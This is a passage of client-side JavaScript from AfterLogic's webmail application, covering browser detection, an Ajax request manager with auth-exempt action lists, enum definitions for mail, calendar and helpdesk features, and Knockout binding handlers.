text:  
  
  /*!
   * Copyright 2004-2015, AfterLogic Corp.
   * Licensed under AGPLv3 license or AfterLogic license
   * if commerical version of the product was purchased.
   * See the LICENSE file for a full license statement.
   */
  
  (function ($, window, ko, crossroads, hasher) {
  
  'use strict';
  
  var
  	/**
  	 * @type {Object}
  	 */
  	Consts = {},
  
  	/**
  	 * @type {Object}
  	 */
  	Enums = {},
  
  	/**
  	 * @type {Object.<Function>}
  	 */
  	Utils = {},
  
  	/**
  	 * @type {Object}
  	 */
  	I18n = window.pSevenI18N || {},
  
  	/**
  	 * @type {CApp|Object}
  	 */
  	App = {},
  	
  	/**
  	 * @type {Object.<Function>}
  	 */
  	AfterLogicApi = {},
  
  	/**
  	 * @type {AjaxAppDataResponse|Object}
  	 */
  	AppData = window.pSevenAppData || {},
  
  	/**
  	 * @type {boolean}
  	 */
  	bExtApp = false,
  			
  	/**
  	 * @type {boolean}
  	 */
  	bMobileApp = false,
  
  	$html = $('html'),
  
  	/**
  	 * @type {boolean}
  	 */
  	bIsWindowsPhone = -1 < navigator.userAgent.indexOf('Windows Phone'),
  	
  	/**
  	 * @type {boolean}
  	 */
  	bIsIosDevice = !bIsWindowsPhone && (-1 < navigator.userAgent.indexOf('iPhone') ||
  		-1 < navigator.userAgent.indexOf('iPod') ||
  		-1 < navigator.userAgent.indexOf('iPad')),
  
  	/**
  	 * @type {boolean}
  	 */
  	bIsAndroidDevice = !bIsWindowsPhone && (-1 < navigator.userAgent.toLowerCase().indexOf('android')),
  
  	/**
  	 * @type {boolean}
  	 */
  	bMobileDevice = bIsWindowsPhone || bIsIosDevice || bIsAndroidDevice,
  
  	aViewMimeTypes = [
  		'image/jpeg', 'image/png', 'image/gif',
  		'text/html', 'text/plain', 'text/css',
  		'text/rfc822-headers', 'message/delivery-status',
  		'application/x-httpd-php', 'application/javascript',
  		'application/pdf'
  	]
  ;
  
  if (window.Modernizr && navigator)
  {
  	// v = 15;
  	window.Modernizr.addTest('pdf', function() {
  		var aMimes = navigator.mimeTypes, iIndex = 0, iLen = aMimes.length;
  		for (; iIndex < iLen; iIndex++)
  		{
  			if ('application/pdf' === aMimes[iIndex].type)
  			{
  				return true;
  			}
  		}
  		
  		return false;
  	});
  }
  
  if (!Date.now)
  {
  	Date.now = function () {
  		return (new Date()).getTime();
  	};
  }
  bExtApp = true;
  
  
  /**
   * @constructor
   */
  function CBrowser()
  {
  	this.edge = /edge/.test(navigator.userAgent.toLowerCase());
  	this.ie11 = !!navigator.userAgent.match(/Trident.*rv[ :]*11\./);
  	this.ie = (/msie/.test(navigator.userAgent.toLowerCase()) && !window.opera) || this.ie11;
  	this.ieVersion = this.getIeVersion();
  	this.ie8AndBelow = this.ie && this.ieVersion <= 8;
  	this.ie9AndBelow = this.ie && this.ieVersion <= 9;
  	this.ie10AndAbove = this.ie && this.ieVersion >= 10;
  	this.opera = !!window.opera || /opr/.test(navigator.userAgent.toLowerCase());
  	this.firefox = /firefox/.test(navigator.userAgent.toLowerCase());
  	this.chrome = /chrome/.test(navigator.userAgent.toLowerCase()) && !/opr/.test(navigator.userAgent.toLowerCase());
  	this.chromeIos = /crios/.test(navigator.userAgent.toLowerCase());
  	this.safari = /safari/.test(navigator.userAgent.toLowerCase()) && !this.chromeIos;
  }
  
  CBrowser.prototype.getIeVersion = function ()
  {
  	var
  		sUa = navigator.userAgent.toLowerCase(),
  		iVersion = Utils.pInt(sUa.slice(sUa.indexOf('msie') + 4, sUa.indexOf(';', sUa.indexOf('msie') + 4)))
  	;
  	
  	if (this.ie11)
  	{
  		iVersion = 11;
  	}
  	
  	return iVersion;
  };
  
  
  /**
   * @constructor
   */
  function CAjax()
  {
  	this.sUrl = '?/Ajax/';
  	this.requests = ko.observableArray([]);
  	// not "computed", because "reguests" is frequently updated
  	this.openedRequestsCount = ko.observable(0);
  	this.requests.subscribe(function () {
  		this.openedRequestsCount(this.requests().length);
  	}, this);
  	
  	this.aActionsWithoutAuthForSend = ['SystemLogin', 'SystemUpdateLanguageOnLogin', 'SystemLogout', 'AccountCreate', 
  		'SystemSetMobile', 'AccountRegister', 'AccountGetForgotQuestion', 'AccountValidateForgotQuestion', 'AccountChangeForgotPassword'];
  	
  	this.aActionsWithoutAuthForSendExt = ['SocialRegister', 'HelpdeskRegister', 'HelpdeskForgot', 
  			'HelpdeskLogin', 'HelpdeskForgotChangePassword', 'SystemLogout', 'CalendarList',
  			'CalendarEventList', 'FilesPub'];
  }
  
  /**
   * @param {string=} sAction = ''
   */
  CAjax.prototype.AddActionsWithoutAuthForSendExt = function (sAction)
  {
  	sAction = Utils.isUnd(sAction) ? '' : sAction;
  	if (sAction !== '')
  	{
  		if (_.indexOf(this.aActionsWithoutAuthForSendExt, sAction) === -1)
  		{
  			this.aActionsWithoutAuthForSendExt.push(sAction);
  		}
  	}
  };
  
  /**
   * @param {string=} sAction = ''
   */
  CAjax.prototype.AddActionsWithoutAuthForSend = function (sAction)
  {
  	sAction = Utils.isUnd(sAction) ? '' : sAction;
  	if (sAction !== '')
  	{
  		if (_.indexOf(this.aActionsWithoutAuthForSend, sAction) === -1)
  		{
  			this.aActionsWithoutAuthForSend.push(sAction);
  		}
  	}
  };
  
  /**
   * @param {string=} sAction = ''
   * @returns {Boolean}
   */
  CAjax.prototype.hasOpenedRequests = function (sAction)
  {
  	sAction = Utils.isUnd(sAction) ? '' : sAction;
  	
  	this.requests(_.filter(this.requests(), function (oReq) {
  		var
  			bComplete = oReq && oReq.Xhr.readyState === 4,
  			bAbort = !oReq || oReq.Xhr.readyState === 0 && oReq.Xhr.statusText === 'abort',
  			bSameAction = (sAction === '') || oReq && (oReq.Parameters.Action === sAction)
  		;
  		
  		return oReq && !bComplete && !bAbort && bSameAction;
  	}));
  	
  	return this.requests().length > 0;
  };
  
  /**
   * @return {boolean}
   */
  CAjax.prototype.isSearchMessages = function ()
  {
  	var bSearchMessages = false;
  	
  	_.each(this.requests(), function (oReq) {
  		if (oReq && oReq.Parameters && oReq.Parameters.Action === 'MessagesGetList' && oReq.Parameters.Search !== '')
  		{
  			bSearchMessages = true;
  		}
  	}, this);
  	
  	return bSearchMessages;
  };
  
  /**
   * @param {string} sAction
   */
  CAjax.prototype.isAllowedActionWithoutAuth = function (sAction)
  {
  	return _.indexOf(this.aActionsWithoutAuthForSend, sAction) !== -1;
  };
  
  CAjax.prototype.isAllowedExtAction = function (sAction)
  {
  	return sAction === 'SocialRegister' || sAction === 'HelpdeskRegister' || sAction === 'HelpdeskForgot' || sAction === 'HelpdeskLogin' || sAction === 'SystemLogout';
  };
  
  /**
   * @param {Object} oParameters
   * @param {Function=} fResponseHandler
   * @param {Object=} oContext
   * @param {Function=} fDone
   */
  CAjax.prototype.doSend = function (oParameters, fResponseHandler, oContext, fDone)
  {
  	var
  		doneFunc = _.bind((fDone || null), this, oParameters, fResponseHandler, oContext),
  		failFunc = _.bind(this.fail, this, oParameters, fResponseHandler, oContext),
  		alwaysFunc = _.bind(this.always, this, oParameters),
  		oXhr = null
  	;
  	
  	if (AfterLogicApi.runPluginHook)
  	{
  		AfterLogicApi.runPluginHook('ajax-default-request', [oParameters.Action, oParameters]);
  	}
  	
  	if (AppData.Token)
  	{
  		oParameters.Token = AppData.Token;
  	}
  
  	this.abortRequests(oParameters);
  	
  	Utils.log('Ajax request send', oParameters.Action, oParameters);
  	
  	oXhr = $.ajax({
  		url: this.sUrl,
  		type: 'POST',
  		async: true,
  		dataType: 'json',
  		data: oParameters,
  		success: doneFunc,
  		error: failFunc,
  		complete: alwaysFunc,
  		timeout: oParameters.Action === 'MessagesGetBodies' ? 100000 : 50000
  	});
  	
  	this.requests().push({Parameters: oParameters, Xhr: oXhr});
  };
  
  /**
   * @param {Object} oParameters
   * @param {Function=} fResponseHandler
   * @param {Object=} oContext
   */
  CAjax.prototype.send = function (oParameters, fResponseHandler, oContext)
  {
  	var
  		bCurrentAccountId = oParameters.AccountID === undefined,
  		bAccountExists = bCurrentAccountId || AppData.Accounts.hasAccountWithId(oParameters.AccountID)
  	;
  	
  	if (oParameters && (AppData.Auth && bAccountExists || this.isAllowedActionWithoutAuth(oParameters.Action)))
  	{
  		if (bCurrentAccountId && oParameters.Action !== 'Login')
  		{
  			oParameters.AccountID = AppData.Accounts.currentId();
  		}
  		
  		this.doSend(oParameters, fResponseHandler, oContext, this.done);
  	}
  };
  
  /**
   * @param {Object} oParameters
   * @param {Function=} fResponseHandler
   * @param {Object=} oContext
   */
  CAjax.prototype.sendExt = function (oParameters, fResponseHandler, oContext)
  {	
  	var
  		bAllowWithoutAuth = _.indexOf(this.aActionsWithoutAuthForSendExt, oParameters.Action) !== -1
  	;
  	
  	if (oParameters && (AppData.Auth || bAllowWithoutAuth))
  	{
  		if (AppData.TenantHash)
  		{
  			oParameters.TenantHash = AppData.TenantHash;
  		}
  		
  		this.doSend(oParameters, fResponseHandler, oContext, this.doneExt);
  	}
  };
  
  /**
   * @param {Object} oParameters
   */
  CAjax.prototype.abortRequests = function (oParameters)
  {
  	switch (oParameters.Action)
  	{
  		case 'MessageMove':
  		case 'MessageDelete':
  			this.abortRequestByActionName('MessagesGetList', {'Folder': oParameters.Folder});
  			this.abortRequestByActionName('MessageGet');
  			break;
  		case 'MessagesGetList':
  		case 'MessageSetSeen':
  		case 'MessageSetFlagged':
  			this.abortRequestByActionName('MessagesGetList', {'Folder': oParameters.Folder});
  			break;
  		case 'MessagesSetAllSeen':
  			this.abortRequestByActionName('MessagesGetList', {'Folder': oParameters.Folder});
  			this.abortRequestByActionName('MessagesGetListByUids', {'Folder': oParameters.Folder});
  			break;
  		case 'FolderClear':
  			this.abortRequestByActionName('MessagesGetList', {'Folder': oParameters.Folder});
  			
  			// FoldersGetRelevantInformation-request aborted during folder cleaning, not to get the wrong information.
  			this.abortRequestByActionName('FoldersGetRelevantInformation');
  			break;
  		case 'FoldersGetRelevantInformation':
  			this.abortRequestByActionName('FoldersGetRelevantInformation');
  			break;
  		case 'MessagesGetFlags':
  			this.abortRequestByActionName('MessagesGetFlags');
  			break;
  		case 'ContactList':
  		case 'ContactGlobalList':
  			this.abortRequestByActionName('ContactList');
  			this.abortRequestByActionName('ContactGlobalList');
  			break;
  		case 'ContactGet':
  		case 'ContactGlobal':
  			this.abortRequestByActionName('ContactGet');
  			this.abortRequestByActionName('ContactGlobal');
  			break;
  		case 'CalendarEventUpdate':
  			this.abortRequestByActionName('CalendarEventUpdate', {'calendarId': oParameters.calendarId, 'uid': oParameters.uid});
  			break;
  		case 'CalendarList':
  			this.abortRequestByActionName('CalendarList');
  			break;
  		case 'CalendarEventList':
  			this.abortRequestByActionName('CalendarEventList');
  			break;
  	}
  };
  
  /**
   * @param {string} sAction
   * @param {Object=} oParameters
   */
  CAjax.prototype.abortRequestByActionName = function (sAction, oParameters)
  {
  	var bDoAbort;
  	
  	_.each(this.requests(), function (oReq, iIndex) {
  		bDoAbort = false;
  		
  		if (oReq && oReq.Parameters.Action === sAction)
  		{
  			switch (sAction)
  			{
  				case 'MessagesGetList':
  					if (oParameters.Folder === oReq.Parameters.Folder)
  					{
  						bDoAbort = true;
  					}
  					break;
  				case 'CalendarEventUpdate':
  					if (oParameters.calendarId === oReq.Parameters.calendarId && 
  							oParameters.uid === oReq.Parameters.uid)
  					{
  						bDoAbort = true;
  					}
  					break;
  				default:
  					bDoAbort = true;
  					break;
  			}
  		}
  		if (bDoAbort)
  		{
  			oReq.Xhr.abort();
  			this.requests()[iIndex] = undefined;
  		}
  	}, this);
  	
  	this.requests(_.compact(this.requests()));
  };
  
  CAjax.prototype.abortAllRequests = function ()
  {
  	_.each(this.requests(), function (oReq) {
  		if (oReq)
  		{
  			oReq.Xhr.abort();
  		}
  	}, this);
  	
  	this.requests([]);
  };
  
  /**
   * @param {Object} oParameters
   * @param {Function} fResponseHandler
   * @param {Object} oContext
   * @param {{Result:boolean}} oData
   * @param {string} sType
   * @param {Object} oXhr
   */
  CAjax.prototype.done = function (oParameters, fResponseHandler, oContext, oData, sType, oXhr)
  {
  	var
  		bAllowedActionWithoutAuth = this.isAllowedActionWithoutAuth(oParameters.Action),
  		bAccountExists = AppData.Accounts.hasAccountWithId(oParameters.AccountID),
  		bDefaultAccount = (oParameters.AccountID === AppData.Accounts.defaultId())
  	;
  	
  	Utils.log('Ajax request done', oParameters.Action, sType, Utils.getAjaxDataForLog(oParameters.Action, oData), oParameters);
  	
  	if (bAllowedActionWithoutAuth || bAccountExists)
  	{
  		if (oData && !oData.Result)
  		{
  			switch (oData.ErrorCode)
  			{
  				case Enums.Errors.InvalidToken:
  					if (!bAllowedActionWithoutAuth)
  					{
  						App.tokenProblem();
  					}
  					break;
  				case Enums.Errors.AuthError:
  					if (bDefaultAccount && !bAllowedActionWithoutAuth)
  					{
  						this.abortAllRequests();
  						App.authProblem();
  					}
  					break;
  			}
  		}
  
  		this.executeResponseHandler(fResponseHandler, oContext, oData, oParameters);
  	}
  };
  
  /**
   * @param {Object} oParameters
   * @param {Function} fResponseHandler
   * @param {Object} oContext
   * @param {{Result:boolean}} oData
   * @param {string} sType
   * @param {Object} oXhr
   */
  CAjax.prototype.doneExt = function (oParameters, fResponseHandler, oContext, oData, sType, oXhr)
  {
  	this.executeResponseHandler(fResponseHandler, oContext, oData, oParameters);
  };
  
  /**
   * @param {Object} oParameters
   * @param {Function} fResponseHandler
   * @param {Object} oContext
   * @param {Object} oXhr
   * @param {string} sType
   * @param {string} sErrorText
   */
  CAjax.prototype.fail = function (oParameters, fResponseHandler, oContext, oXhr, sType, sErrorText)
  {
  	var oData = {'Result': false, 'ErrorCode': 0};
  	
  	Utils.log('Ajax request fail', oParameters.Action, sType, oParameters);
  	
  	switch (sType)
  	{
  		case 'abort':
  			oData = {'Result': false, 'ErrorCode': Enums.Errors.NotDisplayedError};
  			break;
  		default:
  		case 'error':
  		case 'parseerror':
  			if (sErrorText === '')
  			{
  				oData = {'Result': false, 'ErrorCode': Enums.Errors.NotDisplayedError};
  			}
  			else
  			{
  				oData = {'Result': false, 'ErrorCode': Enums.Errors.DataTransferFailed};
  			}
  			break;
  	}
  	
  	this.executeResponseHandler(fResponseHandler, oContext, oData, oParameters);
  };
  
  /**
   * @param {Function} fResponseHandler
   * @param {Object} oContext
   * @param {Object} oData
   * @param {Object} oParameters
   */
  CAjax.prototype.executeResponseHandler = function (fResponseHandler, oContext, oData, oParameters)
  {
  	if (!oData)
  	{
  		oData = {'Result': false, 'ErrorCode': 0};
  	}
  	
  	if (AfterLogicApi.runPluginHook)
  	{
  		AfterLogicApi.runPluginHook('ajax-default-response', [oParameters.Action, oData]);
  	}
  	
  	if (typeof fResponseHandler === 'function' && !oData['StopExecuteResponse'])
  	{
  		fResponseHandler.apply(oContext, [oData, oParameters]);
  	}
  };
  
  /**
   * @param {Object} oXhr
   * @param {string} sType
   * @param {{Action:string}} oParameters
   */
  CAjax.prototype.always = function (oParameters, oXhr, sType)
  {
  	if (sType !== 'abort')
  	{
  		_.each(this.requests(), function (oReq, iIndex) {
  			if (oReq && _.isEqual(oReq.Parameters, oParameters))
  			{
  				this.requests()[iIndex] = undefined;
  			}
  		}, this);
  
  		this.requests(_.compact(this.requests()));
  
  		Utils.checkConnection(oParameters.Action, sType);
  
  		if (App.Prefetcher && sType !== 'parsererror' && !this.hasOpenedRequests())
  		{
  			App.Prefetcher.start();
  		}
  	}
  };
  
  
  
  /**
   * @enum {string}
   */
  Enums.Screens = {
  	'Login': 'login',
  	'Information': 'information',
  	'Header': 'header',
  	'Mailbox': 'mailbox',
  	'SingleMessageView': 'single-message-view',
  	'Compose': 'compose',
  	'SingleCompose': 'single-compose',
  	'Settings': 'settings',
  	'Contacts': 'contacts',
  	'Calendar': 'calendar',
  	'FileStorage': 'files',
  	'Helpdesk': 'helpdesk',
  	'SingleHelpdesk': 'single-helpdesk'
  };
  
  /**
   * @enum {number}
   */
  Enums.CalendarDefaultTab = {
  	'Day': 1,
  	'Week': 2,
  	'Month': 3
  };
  
  /**
   * @enum {number}
   */
  Enums.TimeFormat = {
  	'F24': '0',
  	'F12': '1'
  };
  
  /**
   * @enum {number}
   */
  Enums.Errors = {
  	'InvalidToken': 101,
  	'AuthError': 102,
  	'DataBaseError': 104,
  	'LicenseProblem': 105,
  	'DemoLimitations': 106,
  	'Captcha': 107,
  	'AccessDenied': 108,
  	'CanNotGetMessage': 202,
  	'ImapQuota': 205,
  	'NotSavedInSentItems': 304,
  	'NoRequestedMailbox': 305,
  	'CanNotChangePassword': 502,
  	'AccountOldPasswordNotCorrect': 503,
  	'FetcherIncServerNotAvailable': 702,
  	'FetcherLoginNotCorrect': 703,
  	'HelpdeskThrowInWebmail': 805,
  	'HelpdeskUserNotExists': 807,
  	'HelpdeskUserNotActivated': 808,
  	'IncorrectFileExtension': 811,
  	'MailServerError': 901,
  	'DataTransferFailed': 1100,
  	'NotDisplayedError': 1155
  };
  
  /**
   * @enum {number}
   */
  Enums.FolderTypes = {
  	'Inbox': 1,
  	'Sent': 2,
  	'Drafts': 3,
  	'Spam': 4,
  	'Trash': 5,
  	'Virus': 6,
  	'Starred': 7,
  	'System': 9,
  	'User': 10
  };
  
  /**
   * @enum {string}
   */
  Enums.FolderFilter = {
  	'Flagged': 'flagged',
  	'Unseen': 'unseen'
  };
  
  /**
   * @enum {number}
   */
  Enums.LoginFormType = {
  	'Email': 0,
  	'Login': 3,
  	'Both': 4
  };
  
  /**
   * @enum {number}
   */
  Enums.LoginSignMeType = {
  	'DefaultOff': 0,
  	'DefaultOn': 1,
  	'Unuse': 2
  };
  
  /**
   * @enum {string}
   */
  Enums.ReplyType = {
  	'Reply': 'reply',
  	'ReplyAll': 'reply-all',
  	'Resend': 'resend',
  	'Forward': 'forward'
  };
  
  /**
   * @enum {number}
   */
  Enums.Importance = {
  	'Low': 5,
  	'Normal': 3,
  	'High': 1
  };
  
  /**
   * @enum {number}
   */
  Enums.Sensitivity = {
  	'Nothing': 0,
  	'Confidential': 1,
  	'Private': 2,
  	'Personal': 3
  };
  
  /**
   * @enum {string}
   */
  Enums.ContactEmailType = {
  	'Personal': 'Personal',
  	'Business': 'Business',
  	'Other': 'Other'
  };
  
  /**
   * @enum {string}
   */
  Enums.ContactPhoneType = {
  	'Mobile': 'Mobile',
  	'Personal': 'Personal',
  	'Business': 'Business'
  };
  
  /**
   * @enum {string}
   */
  Enums.ContactAddressType = {
  	'Personal': 'Personal',
  	'Business': 'Business'
  };
  
  /**
   * @enum {string}
   */
  Enums.ContactSortType = {
  	'Email': 'Email',
  	'Name': 'Name',
  	'Frequency': 'Frequency'
  };
  
  /**
   * @enum {number}
   */
  Enums.SaveMail = {
  	'Hidden': 0,
  	'Checked': 1,
  	'Unchecked': 2
  };
  
  /**
   * @enum {string}
   */
  Enums.SettingsTab = {
  	'Common': 'common',
  	'EmailAccounts': 'accounts',
  	'Calendar': 'calendar',
  	'MobileSync': 'mobile_sync',
  	'OutLookSync': 'outlook_sync',
  	'Helpdesk': 'helpdesk',
  	'Pgp': 'pgp',
  	'Services': 'services',
  	'CloudStorage': 'cloud-storage'
  };
  
  /**
   * @enum {string}
   */
  Enums.AccountSettingsTab = {
  	'Properties': 'properties',
  	'Signature': 'signature',
  	'Filters': 'filters',
  	'Autoresponder': 'autoresponder',
  	'Forward': 'forward',
  	'Folders': 'folders',
  	'FetcherInc': 'fetcher-inc',
  	'FetcherOut': 'fetcher-out',
  	'FetcherSig': 'fetcher-sig',
  	'IdentityProperties': 'identity-properties',
  	'IdentitySignature': 'identity-signature'
  };
  
  /**
   * @enum {number}
   */
  Enums.AccountCreationPopupType = {
  	'OneStep': 1,
  	'TwoSteps': 2,
  	'ConnectToMail': 3
  };
  
  /**
   * @enum {number}
   */
  Enums.ContactsGroupListType = {
  	'Personal': 0,
  	'SubGroup': 1,
  	'Global': 2,
  	'SharedToAll': 3,
  	'All': 4
  };
  
  /**
   * @enum {string}
   */
  Enums.IcalType = {
  	Request: 'REQUEST',
  	Reply: 'REPLY',
  	Cancel: 'CANCEL',
  	Save: 'SAVE'
  };
  
  /**
   * @enum {string}
   */
  Enums.IcalConfig = {
  	Accepted: 'ACCEPTED',
  	Declined: 'DECLINED',
  	Tentative: 'TENTATIVE',
  	NeedsAction: 'NEEDS-ACTION'
  };
  
  /**
   * @enum {number}
   */
  Enums.IcalConfigInt = {
  	Accepted: 1,
  	Declined: 2,
  	Tentative: 3,
  	NeedsAction: 0
  };
  
  /**
   * @enum {number}
   */
  Enums.Key = {
  	'Backspace': 8,
  	'Tab': 9,
  	'Enter': 13,
  	'Shift': 16,
  	'Ctrl': 17,
  	'Esc': 27,
  	'Space': 32,
  	'PageUp': 33,
  	'PageDown': 34,
  	'End': 35,
  	'Home': 36,
  	'Up': 38,
  	'Down': 40,
  	'Left': 37,
  	'Right': 39,
  	'Del': 46,
  	'Six': 54,
  	'a': 65,
  	'b': 66,
  	'c': 67,
  	'f': 70,
  	'i': 73,
  	'k': 75,
  	'n': 78,
  	'p': 80,
  	'q': 81,
  	'r': 82,
  	's': 83,
  	'u': 85,
  	'v': 86,
  	'y': 89,
  	'z': 90,
  	'F5': 116,
  	'Comma': 188,
  	'Dot': 190,
  	'Dash': 192,
  	'Apostrophe': 222
  };
  
  Enums.MouseKey = {
  	'Left': 0,
  	'Middle': 1,
  	'Right': 2
  };
  
  /**
   * @enum {number}
   */
  Enums.FileStorageType = {
  	'Personal': 'personal',
  	'Corporate': 'corporate',
  	'Shared': 'shared',
  	'GoogleDrive': 'google',
  	'Dropbox': 'dropbox'
  };
  
  /**
   * @enum {number}
   */
  Enums.FileStorageLinkType = {
  	'Unknown': 0,
  	'GoogleDrive': 1,
  	'Dropbox': 2,
  	'YouTube': 3,
  	'Vimeo': 4,
  	'SoundCloud': 5
  };
  
  /**
   * @enum {number}
   */
  Enums.HelpdeskThreadStates = {
  	'None': 0,
  	'Pending': 1,
  	'Waiting': 2,
  	'Answered': 3,
  	'Resolved': 4,
  	'Deferred': 5
  };
  
  /**
   * @enum {number}
   */
  Enums.HelpdeskPostType = {
  	'Normal': 0,
  	'Internal': 1,
  	'System': 2
  };
  
  /**
   * @enum {number}
   */
  Enums.HelpdeskFilters = {
  	'All': 0,
  	'Pending': 1,
  	'Resolved': 2,
  	'InWork': 3,
  	'Open': 4,
  	'Archived': 9
  };
  
  /**
   * @enum {number}
   */
  Enums.CalendarAccess = {
  	'Full': 0,
  	'Write': 1,
  	'Read': 2
  };
  
  /**
   * @enum {number}
   */
  Enums.CalendarEditRecurrenceEvent = {
  	'None': 0,
  	'OnlyThisInstance': 1,
  	'AllEvents': 2
  };
  
  /**
   * @enum {number}
   */
  Enums.CalendarRepeatPeriod = {
  	'None': 0,
  	'Daily': 1,
  	'Weekly': 2,
  	'Monthly': 3,
  	'Yearly': 4
  };
  
  /**
   * @enum {number}
   */
  Enums.CalendarAlways = {
      'Disable': 0,
      'Enable': 1
  };
  
  Enums.PhoneAction = {
  	'Offline': 'offline',
  	'OfflineError': 'offline_error',
  	'OfflineInit': 'offline_init',
  	'OfflineActive': 'offline_active',
  	'Online': 'online',
  	'OnlineActive': 'online_active',
  	'Incoming': 'incoming',
  	'IncomingConnect': 'incoming_connect',
  	'Outgoing': 'outgoing',
  	'OutgoingConnect': 'outgoing_connect',
  	'Settings': 'settings'
  };
  
  Enums.HtmlEditorImageSizes = {
  	'Small': 'small',
  	'Medium': 'medium',
  	'Large': 'large',
  	'Original': 'original'
  };
  
  Enums.MobilePanel = {
  	'Groups': 1,
  	'Items': 2,
  	'View': 3
  };
  
  Enums.PgpAction = {
  	'Import': 'import',
  	'Generate': 'generate',
  	'Encrypt': 'encrypt',
  	'Sign': 'sign',
  	'EncryptSign': 'encrypt-sign',
  	'Verify': 'ferify',
  	'DecryptVerify': 'decrypt-ferify'
  };
  
  Enums.SocialType = {
  	'Unknown': 0,
  	'Google': 1,
  	'Dropbox': 2,
  	'Facebook': 3,
  	'Twitter': 4,
  	'Vkontakte': 5
  };
  
  Enums.notificationPermission = {
  	'Granted': 'granted',
  	'Denied': 'denied',
  	'Default': 'default'
  };
  
  Enums.AnotherMessageComposedAnswer = {
  	'Discard': 'Discard',
  	'SaveAsDraft': 'SaveAsDraft',
  	'Cancel': 'Cancel'
  };
  
  
  ko.bindingHandlers.command = {
  	'init': function (oElement, fValueAccessor, fAllBindingsAccessor, oViewModel) {
  		var
  			jqElement = $(oElement),
  			oCommand = fValueAccessor()
  		;
  
  		if (!oCommand || !oCommand.enabled || !oCommand.canExecute)
  		{
  			throw new Error('You are not using command function');
  		}
  
  		jqElement.addClass('command');
  		ko.bindingHandlers[jqElement.is('form') ? 'submit' : 'click'].init.apply(oViewModel, arguments);
  	},
  
  	'update': function (oElement, fValueAccessor) {
  
  		var
  			bResult = true,
  			jqElement = $(oElement),
  			oCommand = fValueAccessor()
  		;
  
  		bResult = oCommand.enabled();
  		jqElement.toggleClass('command-not-enabled', !bResult);
  
  		if (bResult)
  		{
  			bResult = oCommand.canExecute();
  			jqElement.toggleClass('unavailable', !bResult);
  		}
  
  		jqElement.toggleClass('command-disabled disable disabled', !bResult);
  		jqElement.toggleClass('enable', bResult);
  
  //		if (jqElement.is('input') || jqElement.is('button'))
  //		{
  //			jqElement.prop('disabled', !bResult);
  //		}
  	}
  };
  
  ko.bindingHandlers.simpleTemplate = {
  	'init': function (oElement, fValueAccessor) {
  		var oEl = $(oElement);
  		
  		if (oEl.length > 0 && oEl.data('replaced') !== 'replaced')
  		{
  			oEl.html(oEl.html().replace(/&lt;script(.*?)&gt;/i, '<script$1>').replace(/&lt;\/script(.*?)&gt;/i, '</script>'));
  			oEl.data('replaced', 'replaced');
  		}
  	}
  };
  
  ko.bindingHandlers.findFocused = {
  	'init': function (oElement) {
  
  		var
  			$oEl = $(oElement),
  			$oInp = null
  		;
  
  		$oInp = $oEl.find('.catch-focus');
  		if ($oInp && 1 === $oInp.length && $oInp[0])
  		{
  			$oInp.on('blur', function () {
  				$oEl.removeClass('focused');
  			}).on('focus', function () {
  				$oEl.addClass('focused');
  			});
  		}
  	}
  };
  
  ko.bindingHandlers.findFilled = {
  	'init': function (oElement) {
  
  		var
  			$oEl = $(oElement),
  			$oInp = null,
  			fFunc = null
  		;
  
  		$oInp = $oEl.find('.catch-filled');
  		if ($oInp && 1 === $oInp.length && $oInp[0])
  		{
  			fFunc = function () {
  				$oEl.toggleClass('filled', '' !== $oInp.val());
  			};
  
  			fFunc();
  			_.delay(fFunc, 200);
  			$oInp.on('change', fFunc);
  		}
  	}
  };
  
  ko.bindingHandlers.alert = {
  	'init': function (oElement, fValueAccessor) {
  		window.alert(ko.utils.unwrapObservable(fValueAccessor()));
  	},
  	'update': function (oElement, fValueAccessor) {
  		window.alert(ko.utils.unwrapObservable(fValueAccessor()));
  	}
  };
  
  ko.bindingHandlers.onEnter = {
  	'init': function (oElement, fValueAccessor, fAllBindingsAccessor, oViewModel) {
  		$(oElement).on('keydown', function (oEvent) {
  			if (oEvent.keyCode === Enums.Key.Enter)
  			{
  				$(oElement).trigger('change');
  				fValueAccessor().call(oViewModel, ko.dataFor(oElement));
  				return false;
  			}
  		});
  	}
  };
  
  ko.bindingHandlers.onCtrlEnter = {
  	'init': bMobileApp ? null : function (oElement, fValueAccessor, fAllBindingsAccessor, oViewModel) {
  		var $Element = $(oElement);
  		$Element.on('keydown', function (oEvent) {
  			if (oEvent.ctrlKey && oEvent.keyCode === Enums.Key.Enter)
  			{
  				$Element.trigger('change');
  				fValueAccessor().call(oViewModel, ko.dataFor(oElement));
  			}
  		});
  	}
  };
  
  ko.bindingHandlers.onEsc = {
  	'init': bMobileApp ? null : function (oElement, fValueAccessor, fAllBindingsAccessor, oViewModel) {
  		var $Element = $(oElement);
  		$Element.on('keydown', function (oEvent) {
  			if (oEvent.keyCode === Enums.Key.Esc)
  			{
  				$Element.trigger('change');
  				fValueAccessor().call(oViewModel, ko.dataFor(oElement));
  			}
  		});
  	}
  };
  
  ko.bindingHandlers.onFocusSelect = {
  	'init': function (oElement, fValueAccessor, fAllBindingsAccessor, oViewModel) {
  		$(oElement).on('focus', function (oEvent) {
  			oElement.select();
  		});
  	}
  };
  
  ko.bindingHandlers.fadeIn = {
  	'update': function (oElement, fValueAccessor) {
  		if (ko.utils.unwrapObservable(fValueAccessor()))
  		{
  			$(oElement).hide().fadeIn('fast');
  		}
  	}
  };
  
  ko.bindingHandlers.fadeOut = {
  	'update': function (oElement, fValueAccessor) {
  		if (ko.utils.unwrapObservable(fValueAccessor()))
  		{
  			$(oElement).fadeOut();
  		}
  	}
  };
  
  ko.bindingHandlers.csstext = {
  	'init': function (oElement, fValueAccessor) {
  		if (oElement && oElement.styleSheet && !Utils.isUnd(oElement.styleSheet.cssText))
  		{
  			oElement.styleSheet.cssText = ko.utils.unwrapObservable(fValueAccessor());
  		}
  		else
  		{
  			$(oElement).text(ko.utils.unwrapObservable(fValueAccessor()));
  		}
  	},
  	'update': function (oElement, fValueAccessor) {
  		if (oElement && oElement.styleSheet && !Utils.isUnd(oElement.styleSheet.cssText))
  		{
  			oElement.styleSheet.cssText = ko.utils.unwrapObservable(fValueAccessor());
  		}
  		else
  		{
  			$(oElement).text(ko.utils.unwrapObservable(fValueAccessor()));
  		}
  	}
  };
  
  ko.bindingHandlers.i18n = {
  	'init': function (oElement, fValueAccessor) {
  
  		var
  			sKey = $(oElement).data('i18n'),
  			sValue = sKey ? Utils.i18n(sKey) : sKey
  		;
  
  		if ('' !== sValue)
  		{
  			switch (fValueAccessor()) {
  			case 'value':
  				$(oElement).val(sValue);
  				break;
  			case 'text':
  				$(oElement).text(sValue);
  				break;
  			case 'html':
  				$(oElement).html(sValue);
  				break;
  			case 'title':
